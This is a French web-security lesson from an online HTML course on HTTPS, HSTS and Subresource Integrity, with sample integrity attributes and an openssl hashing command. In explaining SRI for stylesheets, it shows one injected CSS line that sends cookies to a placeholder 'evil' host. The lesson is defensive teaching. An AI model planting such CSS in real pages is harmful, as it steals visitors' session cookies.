0Pricing
HTML Academy · Leçon

HTTPS et intégrité des sous-ressources

Vérifiez l’intégrité des ressources externes avec l’attribut `integrity`.

HTTPS et intégrité des sous-ressources est une leçon HTML Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage HTML Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours HTML Academy comprend 4 leçons au total.

Pourquoi HTTPS partout ?

HTTPS chiffre les données en transit et authentifie le serveur. Sans HTTPS, des attaquants présents sur le même réseau (Wi-Fi d’un café, ISP, acteur étatique) peuvent lire chaque octet et injecter du contenu malveillant dans les réponses. Les navigateurs modernes marquent les pages HTTP comme « Non sécurisées » et de nombreuses API (caméra, géolocalisation, workers de service) refusent de fonctionner sur HTTP.

Contenu mixte

Charger des ressources HTTP depuis une page HTTPS constitue du contenu mixte. Le navigateur bloque complètement le contenu mixte actif (scripts, iframes, feuilles de style) et émet un avertissement pour le contenu passif (images). Chargez toujours chaque ressource via HTTPS ; utilisez des URL relatives au protocole (//cdn.example.com) ou des URL absolues en https://.

HSTS

La sécurité stricte du transport HTTP, via l’en-tête de réponse Strict-Transport-Security, indique aux navigateurs de refuser à l’avenir les connexions HTTP vers votre domaine. Une fois HSTS mis en cache, un attaquant ne peut pas rétrograder un utilisateur vers HTTP, même en position d’intercepteur.

Pourquoi utiliser SRI ?

Charger des scripts depuis des CDN tiers est pratique, mais risqué : si le CDN est compromis, un attaquant peut remplacer le script par un logiciel malveillant. L’intégrité des sous-ressources (SRI) permet au navigateur de vérifier le hachage cryptographique du fichier avant son exécution et de refuser de l’exécuter si le hachage ne correspond pas.

L’attribut integrity

Ajoutez un hachage SHA-256/384/512 encodé en base64 à la balise de script : <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Le navigateur calcule le hachage du fichier téléchargé et refuse de l’exécuter en cas de divergence.

<link
  rel="stylesheet"
  href="https://cdn.example.com/styles.css"
  integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
  crossorigin="anonymous">

Générer des hachages

Générez le hachage avec openssl : openssl dgst -sha384 -binary file.js | openssl base64 -A. Vous pouvez aussi utiliser un plugin d’outil de compilation qui produit automatiquement l’attribut integrity. La plupart des CDN (jsdelivr, unpkg) affichent la balise SRI dans leur extrait à copier-coller.

crossorigin requis

SRI exige que la réponse provenant d’une autre origine autorise la vérification de l’intégrité via CORS. Ajoutez crossorigin="anonymous" à la balise et vérifiez que le CDN envoie Access-Control-Allow-Origin. Sans cela, le navigateur refuse d’effectuer la vérification et la ressource ne se charge pas.

Plusieurs hachages

L’attribut integrity peut contenir plusieurs hachages séparés par des espaces. C’est utile lors d’une transition de version : répertoriez les hachages des anciennes et des nouvelles versions, et le navigateur accepte celle que le CDN fournit. Évitez d’utiliser plus de quelques hachages afin de garder l’attribut lisible.

SRI pour les feuilles de style

SRI protège également <link rel="stylesheet">. Un fichier CSS compromis est moins directement dangereux qu’un script compromis, mais un background: url("//evil/log?cookie=...") injecté peut tout de même exfiltrer des données. Appliquez SRI à chaque ressource externe lorsque c’est possible.

L’hébergement local est souvent préférable

SRI atténue le risque de compromission d’un CDN, mais ne résout pas tous les problèmes : une modification du hachage sur le CDN interrompt le fonctionnement de votre page jusqu’à la mise à jour de l’attribut integrity. Pour les bibliothèques critiques, hébergez vous-même le fichier que vous avez examiné : vous éliminez d’un seul geste l’épinglage SRI et le risque lié à la chaîne d’approvisionnement.

Performances

SRI ajoute un calcul de hachage par ressource, ce qui est négligeable sur le matériel moderne : quelques microsecondes par kilo-octet. La protection contre les attaques visant la chaîne d’approvisionnement dépasse largement ce coût. Aucune raison liée aux performances ne justifie de se passer de SRI lors d’un chargement depuis un CDN.

Limitations

SRI vérifie des octets précis : il ne protège pas contre un CDN qui servirait un fichier différent à certains utilisateurs (ciblage sélectif). Pour une assurance maximale, combinez SRI avec HTTPS, HSTS, CSP et l’hébergement local des ressources les plus critiques.

Vérification des connaissances

Contre quoi l’attribut integrity d’une balise de script protège-t-il ?

Résumé

HTTPS chiffre et authentifie, HSTS empêche les attaques par rétrogradation et SRI vérifie que les fichiers tiers n’ont pas été altérés. Ajoutez des hachages integrity (avec crossorigin="anonymous") à chaque script et feuille de style externe provenant d’un CDN que vous ne contrôlez pas. Pour les ressources les plus critiques, hébergez-les vous-même : vous éliminerez ainsi entièrement le risque lié à la chaîne d’approvisionnement.

Questions Fréquemment Posées

La leçon « HTTPS et intégrité des sous-ressources » est-elle gratuite ?

Oui — le texte complet de « HTTPS et intégrité des sous-ressources » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours HTML Academy, passe à CoddyKit PRO. Le cours HTML Academy comprend 4 leçons au total.

Qu'est-ce que j'apprendrai dans « HTTPS et intégrité des sous-ressources » ?

Vérifiez l’intégrité des ressources externes avec l’attribut `integrity`. Tu pratiques HTML Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.

Dois-je avoir de l'expérience pour commencer HTML Academy ?

Aucune expérience préalable n'est requise. HTML Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.

Combien de temps prend la leçon « HTTPS et intégrité des sous-ressources » ?

La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.

Peux-tu écrire et exécuter du code dans cette leçon HTML Academy ?

Oui. Chaque leçon HTML Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.

Toutes les leçons de ce cours

  1. Politique de sécurité du contenu : `meta http-equiv`
  2. XSS via `innerHTML` et prévention
  3. Isolation des `iframe` et politique d’autorisations
  4. HTTPS et intégrité des sous-ressources
← Retour à HTML Academy